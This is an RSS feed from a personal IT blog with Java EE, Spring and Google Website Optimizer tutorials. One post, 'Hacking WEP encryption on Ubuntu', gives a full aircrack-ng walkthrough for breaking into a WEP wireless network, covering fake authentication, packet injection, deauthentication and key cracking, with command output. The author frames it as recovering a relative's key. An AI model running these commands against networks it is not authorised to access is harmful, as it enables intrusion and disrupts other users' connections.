<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My IT-blog &#187; Featured</title>
	<atom:link href="http://dev.eek.be/category/featured/feed/" rel="self" type="application/rss+xml" />
	<link>http://dev.eek.be</link>
	<description>IT knowledge exchange</description>
	<lastBuildDate>Sun, 18 Dec 2011 10:37:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Create a Message Driven Bean with Netbeans</title>
		<link>http://dev.eek.be/2011/01/create-a-message-driven-bean-with-netbeans/</link>
		<comments>http://dev.eek.be/2011/01/create-a-message-driven-bean-with-netbeans/#comments</comments>
		<pubDate>Sun, 30 Jan 2011 16:55:09 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[application]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[EJB]]></category>
		<category><![CDATA[glassfish]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[JMS]]></category>
		<category><![CDATA[MDB]]></category>
		<category><![CDATA[message driven beans]]></category>
		<category><![CDATA[messaging]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[queue]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=530</guid>
		<description><![CDATA[I was looking how Message Driven Beans in JEE 6 works and I was surprised that it isn&#8217;t that difficult. I was especially surprised about the support for MDB&#8217;s (and the other beans) in Netbeans. Creating a working example with a MDB is just a matter of minutes. In this post I&#8217;ll try to teach ]]></description>
			<content:encoded><![CDATA[<p>I was looking how Message Driven Beans in JEE 6 works and I was surprised that it isn&#8217;t that difficult. I was especially surprised about the support for MDB&#8217;s (and the other beans) in Netbeans. Creating a working example with a MDB is just a matter of minutes.</p>
<p>In this post I&#8217;ll try to teach you how to create a message driven bean which can communicate with an application client.<br />
In order to follow this tutorial, I&#8217;ll assume you have Netbeans (6.9) and Glassfish available on your system.</p>
<h2>Creating the Message driven bean</h2>
<p>Create a new project in Netbeans and choose for a Java EE &#8211; EJB Module.</p>
<div id="attachment_532" class="wp-caption aligncenter" style="width: 565px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB1.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB1.png" alt="" title="MDB1" width="555" height="314" class="size-full wp-image-532" /></a>
<p class="wp-caption-text">Create a new project</p>
</div>
<p>Next, give your project a name and make sure you select Glassfish 3 as your server and Java EE 6 as your Java EE version.</p>
<div id="attachment_533" class="wp-caption aligncenter" style="width: 590px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB2.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB2.png" alt="Server and settings" title="MDB2" width="580" height="207" class="size-full wp-image-533" /></a>
<p class="wp-caption-text">Server and settings</p>
</div>
<p>Than you can add a new Message Driven Bean to your project</p>
<div id="attachment_534" class="wp-caption aligncenter" style="width: 535px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB3.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB3.png" alt="" title="MDB3" width="525" height="388" class="size-full wp-image-534" /></a>
<p class="wp-caption-text">Add a Message Driven Bean</p>
</div>
<p>Give the Bean a name and a package.<br />
Click next to destinations on the Add button to add a destination.<br />
Choose a name for your destination.<br />
Choose between Queue or Topic. In this example it isn&#8217;t important which one you choose. The difference between Topic and Queue is if you want <a href="http://en.wikipedia.org/wiki/Point-to-point_communication_(telecommunications)" target="_new">Point-to-point</a> or <a href="http://en.wikipedia.org/wiki/Publish/subscribe" target="_new">Publish/subscribe</a> communication for your beans.</p>
<div id="attachment_536" class="wp-caption aligncenter" style="width: 635px"><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB4.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB4.png" alt="" title="MDB4" width="625" height="510" class="size-full wp-image-536" /></a>
<p class="wp-caption-text">Name your bean</p>
</div>
<p>Netbeans creates code for you and, except for the actual businesscode, your bean is ready.</p>
<p>In this simple example, I just want to pass a name from my applicationclient to my bean and my bean has to echo &#8220;Helllo name&#8221;</p>
<p>The full code looks like this:</p>
<pre class="prettyprint">
package hello;

import java.util.logging.Level;
import java.util.logging.Logger;
import javax.ejb.ActivationConfigProperty;
import javax.ejb.MessageDriven;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageListener;

@MessageDriven(mappedName = "jms/hello", activationConfig =  {
        @ActivationConfigProperty(propertyName = "acknowledgeMode", propertyValue = "Auto-acknowledge"),
        @ActivationConfigProperty(propertyName = "destinationType", propertyValue = "javax.jms.Queue")
    })
public class HelloBean implements MessageListener {

    public HelloBean() {
    }

    public void onMessage(Message message) {
        try {
            System.out.println("Hello " + message.getStringProperty("name"));
        } catch (JMSException ex) {
            Logger.getLogger(HelloBean.class.getName()).log(Level.SEVERE, null, ex);
        }
    }
}
</pre>
<p>Almost all the configuration is mapped into 1 annotation.<br />
- The annotation @MessageDriven transforms your normal class into an actual Message Driven Bean.<br />
- The @ActivationConfigProperty annotation is to be used for defining properties to your bean such as the acknowledge mode, message selector, subscription durability and destination type.<br />
In previous versions of JEE, you had to create an XML-file to define all these properties.</p>
<p>Our bean is finished and can be deployed.<br />
Start your Glassfish server and simply click on the deploy button to deploy your bean into Glassfish.</p>
<p>If you open your Glassfish admin console (by default located at http://localhost:4848/ ),  you should see that your application is successfully deployed and activated into Glassfish.<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB5.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB5.png" alt="" title="MDB5" width="781" height="234" class="aligncenter size-full wp-image-538" /></a></p>
<p>Also verify that the JMS resources for your MDB are succesfully created</p>
<p><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB6.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB6.png" alt="" title="MDB6" width="598" height="259" class="aligncenter size-full wp-image-539" /></a></p>
<h2>Creating the Application client</h2>
<p>The MDB is created and is waiting for messages. Now it&#8217;s time to create the Application client.<br />
Just create a new project and choose for an Enterprise Applicaton Client from the list</p>
<p><a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB7.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB7.png" alt="" title="MDB7" width="545" height="435" class="aligncenter size-full wp-image-540" /></a></p>
<p>The code for the applicaton client looks like this:</p>
<pre class="prettyprint">
package mdbclient;

import javax.annotation.Resource;
import javax.jms.Connection;
import javax.jms.ConnectionFactory;
import javax.jms.JMSException;
import javax.jms.Message;
import javax.jms.MessageProducer;
import javax.jms.Queue;
import javax.jms.Session;

public class Main {

    @Resource(mappedName = "jms/helloFactory")
    private static ConnectionFactory connectionFactory;

    @Resource(mappedName = "jms/hello")
    private static Queue queue;

    public static void main(String[] args) throws JMSException {
        Connection connection = connectionFactory.createConnection();
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
        MessageProducer producer = session.createProducer(queue);
        Message message = session.createTextMessage();
        message.setStringProperty("name", "World!!");
        producer.send(message);
        System.exit(0);
    }
}
</pre>
<p>If you deploy and run this application you should see in the server output the string &#8220;Hello World!!<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB8.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB8.png" alt="" title="MDB8" width="810" height="198" class="aligncenter size-full wp-image-542" /></a></p>
<p>What&#8217;s going on?<br />
First we have to create 2 resources to inject the parameters into the Queue and ConnectionFactory . This can be done easily with the @resource annotation.<br />
Next, we just have to create the actual jms-message. I think the code is pretty clear so it shouldn&#8217;t be to difficult to understand what&#8217;s going on.</p>
<h2>Remote invocation</h2>
<p>It would be cool if we can run the client from a remote computer.<br />
This is also very easy with webstart.</p>
<p>Go to your Glassfish admin and simply enable Java Web Start.<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB9.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB9.png" alt="" title="MDB9" width="759" height="252" class="aligncenter size-full wp-image-543" /></a></p>
<p>If you launch this jnpl file from a remote compter, you should again see the message &#8220;Hello World!!&#8221; in your Glassfish Server output.</p>
<p>When you get an error, it&#8217;s possible that you have to change the IP address of the orb-listener-1 to the IP address of the computer where your Glassfish is running on.<br />
<a href="http://dev.eek.be/wp-content/uploads/2011/01/MDB10.png"><img src="http://dev.eek.be/wp-content/uploads/2011/01/MDB10.png" alt="" title="MDB10" width="659" height="691" class="aligncenter size-full wp-image-544" /></a></p>
<p>Happy Messaging!!</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2011/01/create-a-message-driven-bean-with-netbeans/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Testing dynamic content with Google Website Optimizer</title>
		<link>http://dev.eek.be/2010/12/testing-dynamic-content-with-google-website-optimizer/</link>
		<comments>http://dev.eek.be/2010/12/testing-dynamic-content-with-google-website-optimizer/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 19:50:34 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[testing]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[A/B]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[analytics]]></category>
		<category><![CDATA[conversion]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[dynamic]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[multivariate]]></category>
		<category><![CDATA[optimizer]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=483</guid>
		<description><![CDATA[Google Website Optimizer is a great tool for testing webpages or parts of a webpage to increase theirs conversion rates. A great disadvantage is the fact that you can only enter some static content into Optimizer. This is completely logic because Google can’t run your JAVA/PHP/.NET code. Luckily, using Google Optimizer for dynamic content isn’t ]]></description>
			<content:encoded><![CDATA[<p><a href="http://dev.eek.be/wp-content/uploads/2010/12/optimizerA.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optimizerA.png" alt="" title="optimizerA" width="580" height="428" class="aligncenter size-full wp-image-513" /></a><br />
Google Website Optimizer is a great tool for testing webpages or parts of a webpage to increase theirs conversion rates.<br />
A great disadvantage is the fact that you can only enter some static content into Optimizer. This is completely logic because Google can’t run your JAVA/PHP/.NET code.</p>
<p>Luckily, using Google Optimizer for dynamic content isn’t that hard with a little planning.<br />
Google has put an article about this topic in <a href="http://www.google.com/support/websiteoptimizer/bin/answer.py?hl=en&#038;answer=61201">their online help</a> but I don’t like this solution very much. I have found 2 other ways to use Optimizer with dynamic content: the CSS and the Ajax way.<br />
I’ll try to describe both of them in this blogpost.</p>
<p>In my examples I’ll use PHP as dynamic language. The code is far from difficult so you propably can translate it easy in the language you prefer.</p>
<h2>The CSS way</h2>
<p>In this technique, you basically load every scenario but display only one of them. The displaying of the right scenario is done through a little bit of CSS-magic.<br />
In this example, I will test the contents of a div with 3 scenario’s:<br />
Just create a multivariate experiment in Google and add the optimizer tags to your code.<br />
A good rule of thumb is: add as little as possible between the utmx_section script tags. In this case, just try to add only a tag with a css selector.<br />
This is my example source code and my test in Optimizer:</p>
<pre class="prettyprint">
&lt;html&gt;
    &lt;head&gt; 

        &lt;!-- Google Website Optimizer Control Script --&gt;
	… Optimizer head script…
        &lt;!-- End of Google Website Optimizer Control Script --&gt; 

        &lt;title&gt;Example A/B test with css&lt;/title&gt;
        &lt;style type="text/css"&gt;
            .variantA {background-color:yellow;}
            .variantB {background-color:#00CCFF;}
            .variantC {background-color:red;}
            #testA .variantB {display:none}
            #testA .variantC {display:none}
            #testB .variantA {display:none}
            #testB .variantC {display:none}
            #testC .variantA {display:none}
            #testC .variantB {display:none}

        &lt;/style&gt;
    &lt;/head&gt; 

    &lt;body&gt;
        &lt;!—Add as little as possible between utmx_section--&gt;
        &lt;script&gt;utmx_section("sectionA")&lt;/script&gt;
        &lt;div id="testA"&gt;
        &lt;/noscript&gt;
        &lt;!-- TestA --&gt;
        &lt;div class="variantA"&gt;&lt;a href="result.php"&gt;
                This is dynamic content A which displays a date:
                &lt;?php echo date('l jS \of F Y'); ?&gt;
        &lt;/a&gt;&lt;/div&gt;
        &lt;!-- TestB --&gt;
        &lt;div class="variantB"&gt;&lt;a href="result.php"&gt;
                this is dynamic content B whic displays the time:
                &lt;?php echo date('h:i:s A'); ?&gt;
        &lt;/a&gt;&lt;/div&gt;
        &lt;!-- TestC --&gt;
        &lt;div class="variantC"&gt;&lt;a href="result.php"&gt;
                This is dynamic content C which displays the date and time:
                &lt;?php echo date('l js \of FY h:i:s A'); ?&gt;
        &lt;/a&gt;&lt;/div&gt;
    &lt;/div&gt;
    &lt;!-- Google Website Optimizer Tracking Script --&gt;
	…optimizer body script…
    &lt;!-- End of Google Website Optimizer Tracking Script --&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>Test A:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/optOriginal.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optOriginal.png" alt="" title="optOriginal" width="474" height="213" class="aligncenter size-full wp-image-485" /></a></p>
<p>Test B:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/optsecB.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optsecB.png" alt="" title="optsecB" width="465" height="202" class="aligncenter size-full wp-image-486" /></a></p>
<p>Test C:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/optsecC.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/optsecC.png" alt="" title="optsecC" width="527" height="246" class="aligncenter size-full wp-image-487" /></a></p>
<p>As you see, when testA is loaded by Google, we just set everything for testB and testC (variantB/variantC) to display:none in css so it just will not be displayed in the browser.<br />
For testB, you hide testA and testC and if you test testC, you hide testA and testB.</p>
<h3><b>Conclusion</b></h3>
<ul>
<li>Pro:</li>
<ul>
<li>Very easy to set up</li>
</ul>
<li>Con:</li>
<ul>
<li>When testing many variants, the css becomes big and difficult to maintain</li>
<li>All the code from the 3 tests will be executed. In this example, that’s not a problem but if you want to test scenario’s which create a heavy load on your server or use code which runs for a long time, this way to test becomes quickly painful.</li>
</ul>
</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "ca-pub-1041875485625119";
/* midden in posts */
google_ad_slot = "2965755020";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h2>The Ajax way</h2>
<p>This technique is much better to test larger scenarios. You can create an ajax call which will just load the code you need.</p>
<p>You can create the Ajax by hand with a XMLHttpRequest but I prefer using a javascript framework like <a href="http://jquery.com/">JQuery</a> which makes the creation of Ajax calls very easy to do. In my example, I’ll put the content received from the Ajax call into the div with id “test”.<br />
The dynamic content of every test is inside it’s own script (a.php, b.php,c.php) which makes this scenario clean and very flexible.</p>
<p>This is my example source code and my test in Optimizer:</p>
<pre class="prettyprint">
&lt;html&gt;
    &lt;head&gt;
        &lt;!-- Google Website Optimizer Control Script --&gt;
        …head script of optimizer…
        &lt;!-- End of Google Website Optimizer Control Script --&gt;

        &lt;script src="jquery-1.4.4.min.js"&gt;&lt;/script&gt;
        &lt;title&gt;A/B test with Ajax calls&lt;/title&gt;
    &lt;/head&gt;

    &lt;body&gt;
        &lt;div id="test"&gt;&lt;/div&gt;
        &lt;script&gt;utmx_section("Ajaxtest")&lt;/script&gt;
        &lt;script type="text/javascript"&gt;
            $('#test').load('a.php');
        &lt;/script&gt;
    &lt;/noscript&gt;

    &lt;!-- Google Website Optimizer Tracking Script --&gt;
    ..body script optimizer…
    &lt;!-- End of Google Website Optimizer Tracking Script --&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>Test A:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/opt2original.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/opt2original.png" alt="" title="opt2original" width="580" height="222" class="aligncenter size-full wp-image-496" /></a></p>
<p>Test B:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/opt2secB.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/opt2secB.png" alt="" title="opt2secB" width="580" height="166" class="aligncenter size-full wp-image-497" /></a></p>
<p>Test C:<br />
<a href="http://dev.eek.be/wp-content/uploads/2010/12/opt2secC.png"><img src="http://dev.eek.be/wp-content/uploads/2010/12/opt2secC.png" alt="" title="opt2secC" width="580" height="183" class="aligncenter size-full wp-image-498" /></a></p>
<p>So Google decides wich Ajax call will be made. The appropriate script will be loaded and executed.</p>
<h3><b>Conclusion</b></h3>
<ul>
<li>Pro:</li>
<ul>
<li>Very easy to set up</li>
<li>Very flexible</li>
<li>Only the desired test will be loaded</li>
<li>Changes can be made in the scripts while the test is running</li>
</ul>
<li>Con:</li>
<ul>
<li>The content of the test will be retrieved after the page is loaded so this can become slow.</li>
</ul>
</li>
</ul>
<p><script type="text/javascript"><!--
google_ad_client = "ca-pub-1041875485625119";
/* midden in posts */
google_ad_slot = "2965755020";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/12/testing-dynamic-content-with-google-website-optimizer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking WEP encryption on Ubuntu</title>
		<link>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/</link>
		<comments>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 19:34:16 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[servers]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[slider]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=284</guid>
		<description><![CDATA[The information below is not intended to harm other people. Cracking other peoples network is considered illegal in most countries!! Last day, my sister called me up because she couldn&#8217;t connect to her wireless network any more. She was playing with her network connections and broke everything. She didn&#8217;t know the key for her wireless ]]></description>
			<content:encoded><![CDATA[<p><b><span style="color: #ff0000;">The information below is not intended to harm other people. Cracking other peoples network is considered illegal in most countries!!</span></b><br />
Last day, my sister called me up because she couldn&#8217;t connect to her wireless network any more.<br />
She was playing with her network connections and broke everything. She didn&#8217;t know the key for her wireless access point and the access point couldn&#8217;t be reset because it&#8217;s on the attic and we couldn&#8217;t reach it.</p>
<p>So I thought I give it a try to hack the access point.<br />
Here are the steps I followed:<br />
First I took a look if my laptop could see the wireless network.<br />
The network I want to crack is wifi9/7</p>
<p><a href="http://dev.eek.be/wp-content/uploads/2010/02/list-networks.png"><img class="aligncenter size-full wp-image-285" title="list networks" src="http://dev.eek.be/wp-content/uploads/2010/02/list-networks.png" alt="" width="446" height="326" /></a></p>
<p>Let&#8217;s start cracking the key with the installation of aircrack-ng</p>
<pre class="prettyprint">sudo apt-get install aircrack-ng</pre>
<p>List the adapters</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]</pre>
<p>I have only one wireless card in my laptop (wlan0) so this is obviously the card I have to use.<br />
Next, I have to put my wireless card in monitoring mode</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng start wlan0

Found 5 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID	Name
899	NetworkManager
906	avahi-daemon
977	avahi-daemon
1113	wpa_supplicant
2744	dhclient
Process with PID 2744 (dhclient) is running on interface wlan0

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
				(monitor mode enabled on mon0)</pre>
<p>mon0 is a new interface which I will use for monitoring. If I run the previous command again, mon0 should be listed as interface.</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airmon-ng 

Interface	Chipset		Driver

wlan0		Intel 3945ABG	iwl3945 - [phy0]
mon0		Intel 3945ABG	iwl3945 - [phy0]</pre>
<p>Next, launch airodump on the new interface to hop all the channels and show the wireless networks that can be found:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng mon0            

 CH  2 ][ Elapsed: 24 s ][ 2010-02-08 19:43                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                                                                             

 00:21:91:F2:06:D9   -1        0        0    0 123  -1
 00:1D:7E:43:52:33  -48       61       52    2   1  54e  WPA2 CCMP   PSK  cisco
 00:1B:11:6E:78:6D  -79       72        0    0   9  54   WEP  WEP         wifi6-2
 00:24:01:65:97:69  -79       54        0    0   6  54   WEP  WEP         wifi9/7
 00:1D:19:23:BC:57  -84       19       14    0   9  54 . WPA2 CCMP   PSK  GCS
 00:23:EE:CB:5A:61  -87       10        1    0  11  54e  WPA  TKIP   PSK  telenet-039FF
 00:21:91:F3:7D:B6  -88        4        0    0   9  54   WEP  WEP         WIFI 18                                                                           

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                                                                                   

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -83    0 - 1      0       39  baranilew,bbox2-b0c7,default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0   54e-54e     0       49  cisco</pre>
<p>The network I like to hack (wifi9/7) is listed. I can see that it is secured by WEP. If the security is  WPA, it's a lot harder to crack.</p>
<p>Next, run airodump-ng again, but now, let it look at the channel which is used by the network we will crack. In this case 6</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 mon0

 CH  6 ][ Elapsed: 16 s ][ 2010-02-08 19:51 ][ fixed channel mon0: 1                       

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:21:91:F2:06:D9   -1   0        0        0    0 133  -1
 00:1D:7E:43:52:33  -34   1       10        1    0   1  54e  WPA2 CCMP   PSK  cisco
 00:24:01:65:97:69  -75  96      117        0    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 

 00:21:91:F2:06:D9  00:24:2B:8B:4F:81  -85    0 - 5      0        7  default
 00:1D:7E:43:52:33  00:1B:77:D9:A9:52    0    1e- 1      0       10  cisco</pre>
<p>Just let the previous screen run and open a new consolewindow to run a fake attempt for authentication.<br />
The value after -a is the MAC-address from the network we want to crack, the -e value is the name of the network</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng --fakeauth 0 -a 00:24:01:65:97:69 -e wifi9/7 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
19:56:24  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6

19:56:24  Sending Authentication Request (Open System) [ACK]
19:56:24  Authentication successful
19:56:24  Sending Association Request [ACK]
19:56:24  Association successful <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  (AID: 1)</pre>
<p>The association is successfull. This means the target host doesn&#8217;t use MAC filtering. This is good for me, so I don&#8217;t have to spoof my MAC address.<br />
Now everything is ready to crack the key.<br />
first, if in your first console the airdump command is still running, close it and start it again with an option to save the output to a file:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo airodump-ng --channel 6 -w /home/wim/crackwepwifi -i mon0

 CH  6 ][ Elapsed: 0 s ][ 2010-02-08 20:01                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        

 00:24:01:65:97:69  -72 100       29        4    0   6  54   WEP  WEP         wifi9/7      

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes</pre>
<p>To actually crack the key, I need a lot of data. In this case, I've only got 4 packets where I need around 100000 so I have to speed things up a little bit by launching aireplay in injection mode in a new console window:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng -3 -b 00:24:01:65:97:69 mon0
No source MAC (-h) specified. Using the device MAC (00:1B:77:D9:A9:52)
20:07:31  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
Saving ARP requests in replay_arp-0208-200731.cap
You should also start airodump-ng to capture replies.
Read 63 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)</pre>
<p>Now keep the aireplay-ng and airodump-ng running and run the deauth attack.</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aireplay-ng --deauth 0 -a 00:24:01:65:97:69 mon0
20:10:02  Waiting for beacon frame (BSSID: 00:24:01:65:97:69) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c ).
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:02  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]
20:10:03  Sending DeAuth to broadcast -- BSSID: [00:24:01:65:97:69]</pre>
<p>Let everything run. After a few minutes, you should receive ARP requests and the data will start increasing very feast. I&#8217;ve noticed, it goes a little bit faster when I tried to connect in Ubuntu with the target network.<br />
When there are enough packets captured, it&#8217;s time to crack them.<br />
I&#8217;ve opened a new console and used following command where crackwepwifi-02.ivs is the file we entered previously:</p>
<pre class="prettyprint">wim@wim-ubuntu:~$ sudo aircrack-ng -0 -b 00:24:01:65:97:69 /home/wim/crackwepwifi-02.ivs
Opening /home/wim/crackwepwifi-02.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 88000 ivs.
                     KEY FOUND! [ 30:36:34:36:39 ] (ASCII: 06469 )
	Decrypted correctly: 100%</pre>
<p>Got it! The key for the network is 06469.<br />
I could connect to it without a problem and made my sister happy again <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2010/02/hacking-wep-encryption-on-ubuntu/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>The lifecycle of a Spring bean</title>
		<link>http://dev.eek.be/2009/11/the-lifecycle-of-a-spring-bean/</link>
		<comments>http://dev.eek.be/2009/11/the-lifecycle-of-a-spring-bean/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 17:30:42 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[annotations]]></category>
		<category><![CDATA[Dependency injection]]></category>
		<category><![CDATA[di]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Inversion of control]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=218</guid>
		<description><![CDATA[In this blogpost, I&#8217;ll talk and give a few examples of the lifecycle of a bean in a Spring container. The examples are tested with Spring 3.0RC1 but should work with Spring 2.5+ Xml Attributes In this first example, I&#8217;ll show you how the lifecycle of a bean happens within the xml-configfile. In the xml-file, ]]></description>
			<content:encoded><![CDATA[<p><img src="http://dev.eek.be/wp-content/uploads/2009/11/beans-150x150.jpg" alt="Beans" title="beans" width="150" height="150" class="size-thumbnail wp-image-228" /><br />
In this blogpost, I&#8217;ll talk and give a few examples of the lifecycle of a bean in a Spring container.<br />
The examples are tested with Spring 3.0RC1 but should work with Spring 2.5+</p>
<p>
<h1>Xml Attributes</h1>
<p>In this first example, I&#8217;ll show you how the lifecycle of a bean happens within the xml-configfile.</p>
<p>In the xml-file, we can define an init- and destroy-method to the bean, which will be called automatically by Spring.<br />
<b>Config.xml</b></p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"&gt;

    &lt;bean id="attributesTest" class="a.Test" init-method="initMethod" destroy-method="destroyMethod"&gt;
    &lt;/bean&gt;
&lt;/beans&gt;
</pre>
<p><b>Main program</b><br />
In this case, I&#8217;ll use AbstractApplicationContext because this Context has a function to destroy the Context which a normal ApplicationContext doesn&#8217;t have.</p>
<pre class="prettyprint" lang-java>
package a;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class XmlAttributesTest {
    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("attributesTest",Test.class);
    }
}
</pre>
<p><b>Test.java</b></p>
<pre class="prettyprint" lang-java>
package a;

public class Test{

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void initMethod(){
